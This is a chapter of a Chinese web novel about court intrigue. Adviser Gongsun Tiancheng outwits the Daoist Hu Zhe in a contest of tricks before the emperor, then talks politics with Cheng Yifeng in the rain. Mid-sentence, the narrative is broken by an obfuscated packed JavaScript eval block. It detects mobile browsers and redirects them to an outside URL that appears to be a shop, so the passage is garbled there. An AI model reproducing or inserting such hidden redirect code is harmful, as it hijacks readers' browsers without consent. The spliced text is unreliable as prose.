加封?那就是说元酆帝再怎么“清静无为”还是认可大青河的胜利了?那说明这位天子还没有昏庸到底,还有直言进谏的可能。程亦风心中一喜:“万岁,臣……” 元酆帝摆摆手:“你不用谢恩,也不要推辞,都是你该得的。朕要谢你才是——多亏了你把樾人制住,保我天朝寸土不失,朕才好安心在宫中调养身体。程爱卿博学多才,可涉猎黄老之术么?” “《黄帝书》和《老子》微臣曾看过,但是……” 但是——治世之人,要先天下之忧而忧,后天下之乐而乐,道家那一套,挂在嘴上说说还行,要用到朝廷之中,肯定要荼毒百姓,动摇社稷——程亦风这“但是”还没出口,元酆帝已经打断了他:“朕初看的时候也不大明白,但后来就发现这两部书里真是至理名言。不过修道的学问可真大呢。所以朕才要办这个斗法大会,选拔天下的能人来助朕修道——对了,听说程爱卿有个门客擅长算卦,不如也请他一起来参详参详?” “他……”程亦风不知怎么交代,只有撒谎道,“公孙先生也不算是臣的门客。大家萍水相逢,他如今有要事处理,已经不在臣的身边了。” “哦,是么?”元酆帝不无失望地。 “公孙先生?是公孙天成么?”屏风后响起一个阴森森的声音,一个面色白如石灰,三撇胡须如同墨画的中年道士转了出来:“万岁,贫道无状,请恕罪。” 程亦风先听他的声音已经起了一身鸡皮疙瘩,如今见了他的人,不禁又连打了几个冷战。 “这位就是胡喆道长,”元酆帝介绍道,“朕封的三清天师,学问与法力都非比寻常。他测字算卦无一不准,炼出的仙丹能起死回生。朕一下年轻了三十岁,都是胡天师的功劳——天师,这位是朕的福将程大人。” 胡喆看程亦风的眼神颇为傲慢轻蔑,把拂尘一挥,算是见了礼,又对元酆帝道:“万岁,贫道方才听程大人提到‘公孙’两个字,于是急着要问一问,这才闯了出来——程大人,你说你的门客复姓公孙,请问他是叫‘公孙天成’么?” 程亦风讷讷:“正是,莫非……道长你认识他?” “贫道本来不认识他。”胡喆道,“不过他想要来和贫道斗法呢——万岁,那个在街上打着布幡要和贫道一较高下的算命先生就是公孙天成。” “啊?是么?”元酆帝惊喜,又向程亦风解释:“昨日凉城里有人打出‘古往今来,月落日升,祸不单行,福无双至’的布幡。正好被胡天师的弟子看到——‘古’‘月’为‘胡’,双‘吉’为‘喆’,他这布幡摆明了就是向胡天师挑战。胡天师就叫人去问他,他确有此意,已经约了今日在御花园里斗法呢——没想到就是爱卿的门客。看来他跟爱卿说有‘要事’,变是来探讨修道的技艺了!” 公孙天成回来了京城?向胡喆挑战?程亦风先是吃惊,又忍不住心中欢喜:大约唯有公孙先生才能收拾这妖道呢!可是一喜之后,却更加忧愁:公孙天成痛恨元酆帝这个昏君,已经有了反心,他来挑战胡喆,会不会另有企图? 不容他多想,元酆帝已经兴奋地站起身来:“朕差点忘记今日有斗法呢——走,程爱卿,你也一起来看看!” 程亦风跟着元酆帝和胡喆来到了御花园。这里的的牡丹花也开了,红黄粉绿都有,还有黑的,尤其冷艳不让其他。不过园中最艳的还不是牡丹,而是元酆帝的三宫六院,个个都花团锦簇,相比之下,皇后只穿件寻常的泥金袍子,倒显失色了,不过,她母仪天下十几年,自有一份别人比不下去的风采——她旁边陪着符雅,打扮得更朴素,见到程亦风就微微一笑,接着又跟皇后说话去了。后宫最得宠的丽贵妃和殊贵妃当然也来了,两人都满头珠翠,穿着黑底秀金牡丹的缎袍,便如两株黑牡丹一样。只是丽贵妃的腰身吹了气似的涨了起来,竟是有孕了。 原来丽贵妃有了龙裔,程亦风暗暗为竣熙担忧:若丽贵妃一举得男,恐怕太子就难做了。 “草民公孙天成,愿吾皇万岁,万岁,万万岁!”熟悉的声音,也是熟悉的面容。程亦风看见公孙天成上来给元酆帝行礼。 “免礼,免礼——这位就是程大人的谋士公孙先生么?”元酆帝呵呵笑道,“你怎么还自称‘草民’?你跟着程大人多久了?他怎么没给你求了一官半职?” “草民不过是个屡试不第的腐儒,”公孙天成道,“在程大人门下混口闲饭吃,不曾建立什么功业,怎敢求官职?” 元酆帝一愕,哈哈笑道:“你说话倒有意思。建立功业这种事有什么困难?你不是要和三清天师比赛法术么?要是你赢了,朕也封你个官当。” “皇上既然有雅兴,草民怎敢不逗皇上一乐?”公孙天成道,“不过,修道之人讲求切磋,不讲求输赢。其实草民大胆打出那招牌,也是为了吸引三清天师的注意,好见识见识他的本领。草民才疏学浅,若是赢不了胡道长,或者弄出什么乱子来,还请皇上饶草民一条贱命。” 元酆帝笑道:“本来就是大家开心,何必那么认真?你只管放手去比,赢了朕自然封你官,输了朕看得开心,也有赏赐。” 公孙天成道:“遵旨。”即不卑不亢地走到了胡喆的跟前,拱手道:“胡天师,老朽请教了。不知胡天师打算怎么比?” 胡喆轻蔑地扫了他一眼,转而对元酆帝道:“要说道家的基本修为,炼丹少不了。贫道最近炼出了一种神水,可以吞噬黄金,请皇上过目。”说时,拍了拍手,后面一个小童捧上一个透明的罐子来,放在了御案之上。 元酆帝对身边的殊贵妃道:“就拿支金簪子来给他试试。” 殊贵妃听说这神水吞噬黄金,老大不情愿。元酆帝在她脸上捏了一把,道:“要是这水真把你的簪子给吃了,朕回头赔你两支就是了。” 殊贵妃撒了声娇,才把金簪拔了下来,交给胡喆。胡喆就将其放进了盛满神水的罐子中。在场的人全都瞪大了眼睛,果然,慢慢的,那簪子变细了,过了一柱香的时间,竟真的完全消失不见! 众人无不惊讶万分,连程亦风也不得不承认,这胡道士真有些“妖法”。 有嫔妃讨好地向元酆帝道:“皇上,胡天师这神水实在太厉害了,您就让他多炼一些,下回樾人再敢来进犯,咱们就用神水泼过去,把他们都化个无影无踪。” 元酆帝笑道:“好,好,你懂得替朕分忧——程爱卿,你看淑嫔的这个建议如何?” “臣……”程亦风才支吾了一个字,公孙天成就打断了:“万岁,草民觉得这建议决不可取。” “老头子,你说什么呀!”淑嫔娇喝。 公孙天成朝元酆帝一礼,道:“万岁,草民乃是一介腐儒,没有胡道长这么高强的法力,能炼出吞噬黄金的神水来。不过,草民恰巧知道叫这神水失效的法子,请万岁恩准草民一试。” 元酆帝摸了摸下巴:“好,你且试给朕看。” 公孙天成道了“遵旨”,又问:“万岁,不知宫里何处有生石灰,草民想讨一罐来使。” 这种事,一个花天酒地的皇帝怎么知道。旁边有太监回答,浣衣局在修房子,有生石灰,不过从御花园往北出了宫门还得走挺远。元酆帝可不理这些,只命令:“叫人去拿。免得大家等得无聊,先传几支舞来。” 太监忙去了。娇媚的舞娘不时便款款而来,先是一支羽衣舞,花丛中彩带飘飞,仿佛牡丹花都化作了云霞,缭绕座中。接着又上一支柘枝舞,舞娘们手腕、脚腕上都套着金铃,从四方快步奔走到花园中,响起一片清脆之声——整支舞也不用丝竹管线,全靠舞娘们的铃铛发出整齐的节奏,众铃一响齐响,一歇齐歇,仿佛全凭一人操纵似的,叫座中诸人叹为观止。第三支舞就更是稀奇了,六名彩衣舞娘抬出一朵硕大的金莲花来,上面一个女子只以足尖站里,到了近前,便在花心上翩翩起舞,她身姿曼妙,动作灵巧,更难得的是,无论怎样跳跃飞旋,她竟好像没有重量似的,下面六个抬莲花的弱质女郎仿佛并不怎么吃力。 元酆帝看得两眼放光,赞道:“好,好,这个节目以前没看过——跳舞的叫什么名字,哪里来的?” 宫中舞姬的教习在一边,急忙回话:“回万岁爷,这是西瑶来流浪戏班子里的舞伎,臣从街上把她找来的。” “哦?”元酆帝大有兴趣,“叫她到跟前来,给朕看看清楚。” 听到这话,程亦风不禁为这西瑶姑娘感到一阵心痛,扭头不想再看下去。 “万岁,”那教习似乎有些犹豫,“这西瑶女子……她……她并不懂中原话。” “哦,有这种事?”元酆帝的兴趣反而更大了,道,“你且叫她过来就是,朕要看看她的人,她听懂听不懂有什么关系。” 教习无法,只有从命。这时,就见符雅走了上来,道:“万岁,臣女虽先父出使过西瑶,会说西瑶话,愿替万岁做通译。” 元酆帝大喜:“好,好,你就替朕问问那女子,叫什么名字,今年多大了,这皇宫还住得习惯么?” 符雅道:“是。”便走到了金莲花跟前。那西瑶女子早已停止了舞蹈,战战兢兢地看着众人。符雅就嘀嘀咕咕地对她说了几句西瑶土话,那女子愣了愣,也嘀嘀咕咕地回答。符雅就转身对元酆帝道:“企禀万岁,这女子名叫凤凰儿,今年一十五岁,才到宫里半个月,不习惯。” 元酆帝摩擦着两手:“你叫她过来,她在西瑶住的房子是怎样的,朕在皇宫里照样给她盖一间。” 符雅点头,又嘀嘀咕咕同凤凰儿说话,凤凰儿回答了,符雅的脸色就突然变得难看了起来,像见了鬼似的,踉跄直逃,边跑还边叫着:“快把她赶出去!快赶出去!” 众人都好惊讶。皇后道:“符小姐,你怎么了?” 符雅满面仓皇:“万岁爷,皇后娘娘,这丫头是西瑶景族的女巫。” “女巫?”妃嫔们已经有的晕了过去。元酆帝皱着眉头:“符雅,胡说八道是犯欺君大罪的。” 符雅连忙跪下:“臣女怎么敢呢!这是千真万确的事!西瑶境内的景族人,男子多俊美,女子多娇媚,但是都会使巫术,能向人下蛊,中者无治。臣女和先父在西瑶的时候,听说西瑶主君武德帝段启文当年不顾朝臣反对,娶了一名景族女子做侧妃,后来生下一个儿子眼睛竟然是冰绿色的。他当时不信邪,坚持不肯把母子二人赶出宫去,结果,他的皇后不久就得怪病死了,那景族侧妃也莫名其妙自己发了疯,跌进河里溺水身亡。武德帝依然不信巫术之说,不肯将绿眼的孩子斩草除根,待他长到二十岁的时候,已故皇后的亲子竟然坠崖身亡。武德帝这时后悔也来不及了,那绿眼的儿子是他唯一的继承人——这人名叫段青锋,除了好事之外没一件不精通的,除了坏事以外,做什么也提不起兴趣来,西瑶人都为有这样一位太子而大伤脑筋呢。” 她说得这样有鼻子有眼,不由得元酆帝不信,对左右直嚷嚷道:“还不快把这妖女杀掉?” “万岁,”符雅道,“杀不得,万一她觉察您要对她不利,临死向您施巫术,岂不糟糕?” 元酆帝一愕:“言之有理。”即改口命令:“把她赶出去——千万不要伤她一根寒毛。” 左右遵命行事。程亦风眼看着他们把凤凰儿带出去了,转头望了望符雅,这姑娘走回皇后的身边,就好像什么也没发生过。 这时,去浣衣局取生石灰的人也回来了,捧了一整坛子。公孙天成笑道:“也许要不了那么多。”接过来,就朝胡喆的神水中倒。 大家都瞪大了眼睛,眨也不眨地看那罐子里的变化,只见水仿佛沸腾了似的翻滚了起来,变得浑浊,冒出一团团的热气,多了一会儿,平静了,公孙天成就向元酆帝一礼,道:“请万岁再拿支金簪来一试。” 元酆帝又来看殊贵妃,殊贵妃撅着嘴道:“这次该姐姐了吧?” 丽贵妃听见,翻个白眼,把簪子拔下来丢给公孙天成。不偏不倚,正掉进那神水罐里去,这次,什么也没有发生。 满座的人全都惊讶得交头接耳起来。 公孙天成向元酆帝深深一礼:“万岁,草民想,胡天师炼制神水一定费时费力,而生石灰却容易得到。以生石灰来化解神水,这招数既然连草民一介腐儒都晓得,樾人会不知道吗?” “言之有理。”元酆帝道,“不过这一回比试算你们谁输谁赢呢?” 胡喆把拂尘一挥,显得很不在乎的样子。公孙天成道:“万岁说这话,岂不折煞老朽了?胡天师炼出了神水,吞噬黄金,老朽不过是借了点生石灰而已。” 有心人细细玩味此话,可能会听出是讽刺胡喆,但元酆帝没在意,道:“那就算是打平吧,下面还有些什么好玩的可比?” 公孙天成看看胡喆。这道士说道:“贫道想替万岁做法,请太上老君保佑万岁早日修成不死金身。” 元酆帝受用得紧,立刻答应,命人设法坛,胡喆便在坛上一时喷酒一时点火,挥剑摇铃,忙得不亦乐乎。程亦风看着,觉得这完全就是市井江湖骗子的行径,竟然能够光明正大的把皇宫搞得乌烟瘴气,元酆帝可真不是一般的昏聩!唉,可是有什么办法?做臣子的难道还能选择君主不成?只有想法子把胡喆除掉才是。 半晌,胡喆满头大汗地收了功,走下坛来,将一张燃烧的符纸浸在酒杯里捧到元酆帝面前:“万岁,太上老君赐下灵丹妙药,保万岁长生不老。” 元酆帝大喜,接过来就要喝,旁边有负责试食验毒的太监要帮他试,却被丽贵妃一眼横了过去:“呔,这太上老君的灵药也是你这奴才能吃的么?” 太监吓得急忙跪下请罪。元酆帝没心儿理他,把那酒给喝了,转着眼睛体味片刻,道:“朕果然觉得神清气爽,不错,不错。”又问公孙天成:“你有什么本领拿出来和胡天师较量的?” 公孙天成想了想,垂首道:“草民早也说了,不过是一介腐儒而已,若每年科考之时能得孔夫子把试题透露一二,草民也不至于潦倒至今,哪能和太上老君搭上话?有些雕虫小技,博万岁一笑罢了。”说着,从席间取了一只盘子来,当中放了一枚铜钱,又倒了些清水在盘子里,把铜钱淹没了。他道:“草民有小小法术,可以把这铜钱从水中取出,却不沾湿手,请万岁欣赏。” 大家都觉得稀奇,交头接耳地议论。程亦风知他素来多奇谋,既然能说得出,应该就能做得到,因而也不甚担心,只看着。 公孙天成在席间转了一圈,从皇后的桌上取了一只水晶广口瓶,又左右看看似乎要寻其他的什物。符雅笑了笑,道:“先生如不嫌弃,请拿符雅的手帕去用吧。” 公孙天成一怔,打量这个衣着朴素的姑娘一眼,看她神气自然诚恳,并无半点狡黠,便接了手帕,道了谢,回到盛水的盘子跟前。 他叫太监将那手帕点着了,放在水晶瓶中,既而迅速地将水晶瓶倒扣在盘子里离铜钱不远的地方。手帕在燃烧着,水晶瓶里不久就充满了白烟。大伙儿目不转睛地看着,不知那白烟有何古怪。渐渐的,白烟消失不见,众人却惊讶地发现,不知何时,盘子里的水竟全部倒流到水晶瓶中去了,积在瓶里有两寸来高。公孙天成微微一笑,将铜钱拈了起来,果然没有沾湿手。 元酆帝拊掌大笑:“哎呀,有趣有趣!真是太有趣了!” 公孙天成躬身道:“万岁谬赞了,这种江湖骗术雕虫小技连妇孺都知——方才这位小姐不就一眼看穿草民的计划,借了条手帕给草民么?” 元酆帝回过头去:“符雅,你知道这其中奥妙?” “哪儿能啊?”符雅连连摇手,“臣女是看老先生借了皇后娘娘的瓶子,心想他用过之后肯定得擦干净了才还给皇后娘娘,那不是要用到手帕么?” “竟然被你歪打正着!” 虽然元酆帝是这样评价,但程亦风却觉得符雅没有这么简单,就连早先说那西瑶舞娘是女巫的事,好像也是她特为救人而杜撰的。这个女子真是不寻常! “大法术有大法术是用途,小把戏有小把戏的乐趣。”元酆帝道,“朕判这一局又打平了。你二人还有什么本事,都使来给朕看。” 前面两局都是胡喆抢的先,按说这次也该论到公孙天成挑选比试的方法了,可他似乎笃信后发制人,微笑不语。胡喆就上前一礼道:“万岁,既然这位公孙先生喜欢雕虫小技,那贫道就和他比比雕虫小技。就较量一下看相测字吧。” 元酆帝虽然觉得这不甚有趣,但既然是心爱的胡天师提起,也就不反对,道:“好。不过你们要给什么人看相测字?” 胡天师道:“除却万岁爷是天命,贫道不敢看,这里的诸位贵妃娘娘贫道都识得,若给她们看相,未免对公孙先生不公。不过程大人贫道只见过一次,未有深交,贫道就选程大人。公孙先生的意思如何?” 公孙天成笑道:“胡道长是意思,就是要老朽从诸位娘娘里挑一个来算了?那老朽就……”他环视四周:“就挑这位贵妃娘娘吧。”所指正是丽贵妃。 “万岁!”丽贵妃向元酆帝撒娇道,“您让臣妾被人当猴子耍,回头要补偿臣妾呀!” 元酆帝道:“好,好。什么当猴子耍,你这话说得……” 可不?程亦风想,我才是真被当猴子耍呢! 思念间,胡喆已经走到了他的跟前,眼睛在他脸上滴溜溜打转,看得他心中直发毛。半晌,这道士退后几步,连道了三声“奇”。 元酆帝忙问:“天师,程爱卿的面相有何奇特之处?” 胡喆垂首:“贫道不敢说。” 程亦风一听这话,就知道有问题了,若不是自己面生得大凶,就是这人存心不良:于众法术之中独挑面相,于众人之中他独选我,恐怕这其中……啊,是了,昨夜我留宿凤竹山,一定已经有人将这消息告诉了妖道。妖道陷害太子,知我是太子一边的人,自然也想除掉我! 不过,胡喆不发话,他也无法凭空想出应对之测。 元酆帝道:“有什么不敢说的?左右大家开心,你说,朕不罚你。” 胡喆犹豫了一下,又看看了程亦风一眼,仿佛是要确信再三似的,才开口道:“所谓人之‘气’,器宇也。常人只有一种气,赤白紫青黑,有清浊之分,程大人却似乎……这……贫道看来,除了黑气不见之外,其他的都有了——先是紫气,乃是贵气,既而有青、白二气,青主文,大人是探花出身,白色为西方煞气,所以大人做了兵部尚书。这都合乎常理,只是这赤气煌煌冲天……” “怎样?”元酆帝迫不及待地问。 胡喆低着头:“这是天子帝王之气。” 此语一出,满座皆惊——这不是预示程亦风要造反么?大家都把眼看着他。 “哈哈哈哈……”突然一阵笑声打破了僵局,是符雅,乐得前仰后合。 丽贵妃喝道:“符小姐,出了这么大的事,你还笑得出来?” 符雅笑得直打颤:“贵妃娘娘息怒,符雅只是想起在婆罗门国听到的一个笑话来了,若万岁爷恩准,符雅愿意逗大家一乐。” 元酆帝道:“你说。” 符雅道:“婆罗门那国家是南海蛮荒小岛,多年来学习我中原文化,现在也读圣人文章,开科取仕,亦考八股文。说到那婆罗门国有个老学究,夜晚一个人回家,路上遇到死了几年的朋友。那学究不怕鬼,就问这亡魂道:‘你往哪里去?’亡魂说:‘我在阴间做了勾魂使,现在到南村去招魂,咱俩正好同路。’他俩于是一起上路,经过一间破屋子时,亡魂道:‘这里住了位文士。’学究好生奇怪,就问:‘你怎么知道?’亡魂道:‘一个人倘若白天专心致志读书思考,夜里睡觉的时候没有一丝杂念,元神朗澈,胸中所读之诗书字字皆吐光芒,从百窍而出,飘渺缤纷,灿如锦绣。学问似孔、孟那般的,文采好比屈原、司马相如的,此烟霞上烛霄汉,与星月争辉。稍次一等的,也能升到空中数丈,再次,能升几尺,以下递减,最差的只能像一盏油灯,照亮自家的窗户而已。这种光芒人见不到,只有鬼才能看见。这破房子上白光有七八尺,所以我就知道这里住了读书人了。’” 众人听得她得绘声绘色,就继续听下去。 “那学究听了亡魂的话,即问:‘我读了一辈子的书,不知我家房上白光有多高呢?’”符雅娓娓,“亡魂嗫嚅良久,道:‘昨天我经过你的私塾门口时,你正打瞌睡,我看到你胸中高头讲章一部,墨卷五、六百篇,经文七、八十篇,策略三四十篇,字字化为黑烟,笼罩房上,学生诵读之声,如在浓云密雾中,实在没有看到光芒,不敢妄语。’” 她说到这里,满座已经轰然大笑,元酆帝一口酒都喷到了胡喆的身上。唯符雅自己不笑,还接着把故事说完:“那学究大怒,亡魂就哈哈大笑着走了。” 程亦风看此时所有人,只有胡喆怒气冲冲,显然,符雅最后这句话是为了骂他的。这个女子,满腹不知要装了多少学问,才能如此信手拈来呀! 众人笑过了,把什么造反篡位的事也抛到了脑后。元酆帝道:“公孙先生,该你了吧?” 公孙天成领旨,走到了丽贵妃跟前:“娘娘万金之躯,草民不敢亵慢,还请娘娘出个字给草民测吧。” 丽贵妃想了想:“我就出个‘好’字。你说来听。” “敢问娘娘要算何事?” 丽贵妃摸了摸隆起的腹部,道:“就算算皇上的龙裔吧。” 好狠毒!程亦风暗惊,这要是说出一句不利的话,公孙先生就麻烦了! 可公孙天成一点儿也不慌张,略略思考了一下,道:“恭喜贵妃娘娘,您怀的是个公主。” “什么?”丽贵妃的脸色立刻变了,“万岁,这老头子他诅咒臣妾!臣妾明明梦见太阳入怀,仙人说,这一胎必是男孩。这老头子使妖法硬把孩子变成女的了。您要给臣妾做主!” “别哭,别哭。”元酆帝安慰,又道,“公孙先生,你这么说到底是何意思?难道你不希望朕多子多孙么?” 公孙天成道:“万岁爷明鉴。草民测字,当然是娘娘说什么,草民就测什么。命乃天定,草民可没有本事改变。娘娘给了个‘好’字,拆开就是‘女子’,娘娘又问腹中孩儿,可不就预示这是位公主么?” 这话的确无懈可击。 丽贵妃还是不甘心:“胡说八道,分明就是皇子。万岁,臣妾不管,您要治这老头子的罪。臣妾看,分明就是他图谋不轨,想把这个孩子变成了女的——程大人是太子殿下的座上宾,昨天进城前竟绕道去凤竹山探望太子。太子一向都不喜欢臣妾的,成天觉得臣妾想害他。天地良心,臣妾的儿子还没出生呢,太子就怕这孩子将来跟他抢冬宫主位。所以,他才叫程大人找这个老头儿来施法吧臣妾的儿子变成女儿——万岁,太子这次中邪可中得真深呢!” 看来太子被幽静的背后是这个女人在搞鬼?程亦风握紧了拳头。 “草民斗胆,娘娘此言差矣!”公孙天成道,“皇上是天子,乃是乾卦,太子则是震卦。凤竹山温泉行宫乃是先皇为钱贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728603|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃所修建。钱贵妃是妾,为兑卦。娘娘坚持太子中邪,要他在凤竹山休养,造成震上兑下的卦面——震为长子,兑为幼女,是娘娘自己想给太子殿下带来一个妹妹呢!” “你……”丽贵妃气得瞪圆了眼睛。 公孙天成还继续说下去:“所以依草民之见,还是应该让太子殿下回到皇宫,这事大约才有转机。” “万岁!”丽贵妃说五行八卦自然说不过公孙天成,便向元酆帝撒娇。 “好了,好了,”元酆帝道,“爱妃不要胡思乱想——说起太子——程爱卿你昨日果真是探了他么?他现在怎样?” “回万岁的话,太子神清气爽。”程亦风赶忙道,“臣实在看不出他有病在身。” “哦?他也没有再拿剑说胡话了?”元酆帝问。 “没有。”程亦风欺君罔上竟然也可以面不改色了,“符小姐当时也在,可以作证。” “是,臣女也已经向皇后娘娘禀报过了呢。”符雅道,“太子殿下现在即使拿剑,也是用来强身健体的。” “看来三清天师法力高强,已经治好皇儿了!”元酆帝道,“那么就叫他回来吧,先来谢谢三清天师,然后继续替朕处理政务——朕现在光写那‘知道了’几个字都已经写烦了。” “是。”符雅和程亦风同声领旨,相互望了一眼,都觉得这是天大的好消息。 “万岁!”丽贵妃急道,“这公孙老头儿随便说句话您就信了——臣妾说的您怎么就不信呢?臣妾说他把臣妾的儿子变成了女儿啦。臣妾要您现在就治他的罪。” “娘娘自己都说公孙先生是胡说八道了呢!”符雅道,“可见他法力不够——就算被他瞎猫碰着了死老鼠,既然胡天师的法力高,就叫胡天师帮娘娘再变回来,不就成了?” 丽贵妃气得脸都绿了,狠狠瞪着符雅,可后者面上竟不见一丝讽刺的神气,叫人拿不着把柄。程亦风实在好笑,憋得肚子也疼了。更那边胡喆还铁青着脸硬充好汉,道:“娘娘放心,贫道担保,娘娘这一胎一定是皇子。” 他这话才出口,万里晴空忽然打了一个霹雳。 好,遭雷劈了!程亦风暗中拍手称快。 但符雅却笑道:“哎呀,莫不是胡天师已经开始做法了么?” 这话嘲讽的意味实在明显,不过幸好元酆帝夫妇和妃嫔们都在太监宫女的张罗下起身避雨去了,才没有什么注意到。 再没人在乎公孙天成和胡喆的“斗法”谁胜谁负了。观看斗法的宗室和官员都向元酆帝匆匆告辞,要赶在暴雨到来之前出宫。程亦风也在其列,但是他还没有来得及跑到瑞华门,大雨就瓢泼而下,跑得三五步,他已经成了落汤鸡,连眼睛也睁不开。朦朦胧胧看到前面的宫墙有宽阔的屋檐,就快步跑过去暂避。 抹了一把脸上的雨水,才看到屋檐下还站了一个人,正是公孙天成。 “大人——”公孙天成向他拱手为礼。 “先生……”程亦风知道竣熙能够离开凤竹山,得多亏公孙天成向元酆帝说的那番话。老先生被自己赶走之后又来找胡喆斗法,到底是为了什么呢?他不知道该怎么开口问,更担心即使问了公孙天成也不会告诉他真相。 “读书之人,谁不想学以致用?”公孙天成看穿他的心思,“但若明珠暗投,则再多是学识,再大的志向也都枉然。所以,我辈中人,遇到一位明主才是大幸。” 元酆帝跟“明主”差的也太远了,程亦风想,公孙天成这话莫非又要把自己朝造反上引?当下正色道:“程某生是楚国的人,死是楚国的鬼,谁是主上,难道还能选么?听说樾国的庆澜帝还算是个爱民的好皇帝,难不成去投靠他?” 公孙天成微微一笑:“大人选了皇上做主公,但老朽却是因为大人才涉足官场的。” 程亦风一愣:这是什么意思? “大人不能选主上,老朽却可以挑选。”公孙天成幽幽道,“老朽与大人意见不同,宾主关系难以继续下去,不过做事贵在有始有终。老朽既然答应要替大人全权将大青河之战处理好,就不应该半途而废,所以即使大人憎恶老朽,老朽还是回到了京城。总要把大青河的善后处理完,才正式同大人告别。” 原来是这样!程亦风苦笑了一下:自己心里多少有一点盼望公孙天成回心转意吧?“其实晚生的打算也和先生相同。”他道,“迎回太子,除去妖道,在和谈中争取到未来的安定——这些办妥了,晚生也打算辞官归隐。” 公孙天成看了程亦风一眼:“大人高升了吧?高升之后志向也变得远大了。” “我有么?”程亦风叹息道,“真要说志向远大,还是我刚刚中举的时候。那时候想要立法纪、变民风,富民强国。如今,我不过是想收拾一下自己手中的烂摊子而已——就连这个,也不知道能不能做到——不知先生有没有过这样的感觉,好像走在栈道之山,脚下的路随时会塌。” 公孙天成拈了拈胡须,用右手在空中写了一个“定”字:“大人心神不定,是因为天下不定。天下不定,实是因为天不定。天为天子,居皇宫,是为宝殿,‘定’字去了宝盖顶,就不再是‘定’——” 就是个不成字的字。程亦风看着,似他这不伦不类,进退两难的人生。但即使如此,他也不能造反。转头盯了公孙天成的脸:如果老先生旧事重提,他将不再顾念宾主情分! 公孙天成并不为他的眼神所动,只道:“大人还不记不记得,当日在鹿鸣山,你初次来到老朽的茅庐前,让老朽给你批个字。那是什么字?” 程亦风没印象了。 “大人问的是双木‘林’。”公孙天成再次以手代笔,在空中写下,“‘林’字下面加上这个没有宝盖顶的‘定’字,就是‘楚’。老朽记得明白,当老朽问大人要问何事时,大人犹豫片刻才说要问姻缘,可见姻缘并非大人心中所虑之事。大人所虑的,就是这个天下。” 他这样一说,程亦风才依稀想起,当时不过是随便说了个字,又听到“为进退,为不果”觉得问国家未免不吉,就改口说是问姻缘。未料还是一语成谶。 公孙天成凝望着檐下的雨帘,好像那里当真就那个“楚”字一样。片刻,他一挥手,把虚空中的字迹擦去:“大人有没有远大的报复,这个很难说。不过大人有那样的机遇,又有那样的才干,老朽就是看准大人,才出仕的。不过……”他似乎要叹气,但其实却换了话题:“天下之事,新旧更替,荣衰代谢,非人力所能左右。两百多年前,太祖皇帝以东海节度史的身份起兵,灭了晋国而建楚。那时,晋国已传了七位皇帝,一百一十九年。在晋之前有梁国,传五代,八十三年。再前是十六国之乱,有三百余年……翻遍史书,没有一个王朝是从来就有,且永远存在的。难道楚国会与别不同吗?” “这……”这是一句最实在不过的话,可也是一句没有人愿意承认的话。程亦风纵然满腹牢骚,成天把悲观之语挂在嘴边,还是仿佛被人兜头泼了一盆冷水,整个人结了冰,连思想都被冻住。 公孙天成却好整以暇,轻轻掸了掸手:“既然是一定的事,就只是迟早的问题。大人之所以这样终日忧虑,无非是不想这国亡在自己的手上吧?” 大约正是如此,程亦风想,所以即使真的挂冠而去,假如楚国亡了,他应该逃不过后世刀笔只吏的诛伐……哎呀!他突然想起了当日臧天任对自己的质问,问他一味地计较“自己何颜以对天下”,莫非存着私心。那时他可慷慨激昂,说自己不在乎虚名——如今,知道国家终有灭亡的一日,他所担心的竟然是青史将如何记载,他可不是卑鄙地存着私心么! 陡然对自己感到无比的厌恶——自己简直比把“造反”直接说出来的公孙天成要不堪百倍。 他看着老先生——清癯的面貌仿佛是石头雕刻出来的,经过了这么多年的磨练,每一个棱角都合适这波涛汹涌的时代,既不过分尖锐,也不过分圆滑,斧凿是达不到这样效果的,惟有岁月的力量。 等我到了他的那个年纪也会看得这样透彻吗?程亦风问自己,也许吧,但是在那以前,只有继续忧虑,继续挣扎。 不能动摇,他告诉自己,当务之急是迎回竣熙,除掉胡喆,尽快完成大青河和谈。便深吸一口气,让自己的心情平静下来:“今日挫了妖道的锐气,又说服圣上准许太子回宫,这都是先生的功劳,程某感激不尽。”说时深深一揖。 公孙天成显然原本有话要说,见他如此,就咽了回去:“在大青河和谈完成之前,老朽还是大人的谋士。大人何必跟老朽客气呢。” 两人的语气有着分明的嫌隙,气氛就尴尬起来。可喜这时候看到两个太监撑着伞送符雅出宫。大雨洗净了宫廷的华丽,世界显得清新,朴素的符雅衬在这样的底子上,显得格外自然。 她走到了跟前,就向程亦风好公孙天成问好,又笑道:“公孙先生好高的道行,连三清天师都只能跟您打平手,怎么他招来了雷雨,先生却委屈地躲在这里?就算不能变出太阳来,变两把雨伞总可以吧?” 公孙天成并不知道这个女子的来历,不过欣赏她的机智,于是笑道:“小姐博闻广识,应该知道其实道家最讲求天道自然。人应该顺应天道。修道的人更加应该如此——怎么可以随随便便做法改变天气呢?” 符雅一笑:“先生果然高明,符雅想用点小聪明来讨口舌上的便宜,最终是打了自己的耳光——有点小本领就不把天道房子眼里的,就是符雅这个样子呀!” “小姐过谦了。”公孙天成拱手而笑,望了望程亦风。后者赶紧介绍:“这是先礼部符侍郎的千金。昨日在凤竹山也是多得符小姐解围。” “符雅昨日奉皇后之命去探望太子,若有闪失,岂能交代得了?大人千万不要再提这事了。”她使了个眼色,意思是叫程亦风小心莫把竣熙昨天怒斥胡喆的一幕宣扬出去。程亦风才也发觉自己口没遮拦,赶紧咬了咬舌头,以为惩戒。 符雅微微笑道:“符雅这边三人又三把伞。大人那边却一把也没有。大人是想继续在屋檐下避着,还是跟我们搭步走?” 程亦风跟她有过一次交谈,觉得她聪颖又不做作,自己也就再不计较什么授受不亲之事,又知她今天讲那个“婆罗门国学究”的故事是为了帮自己,该当感谢,只是当着宫里人的面,又不好贸然开口,若同路走,或许有机会,于是道:“小姐不弃,搭步正好。” 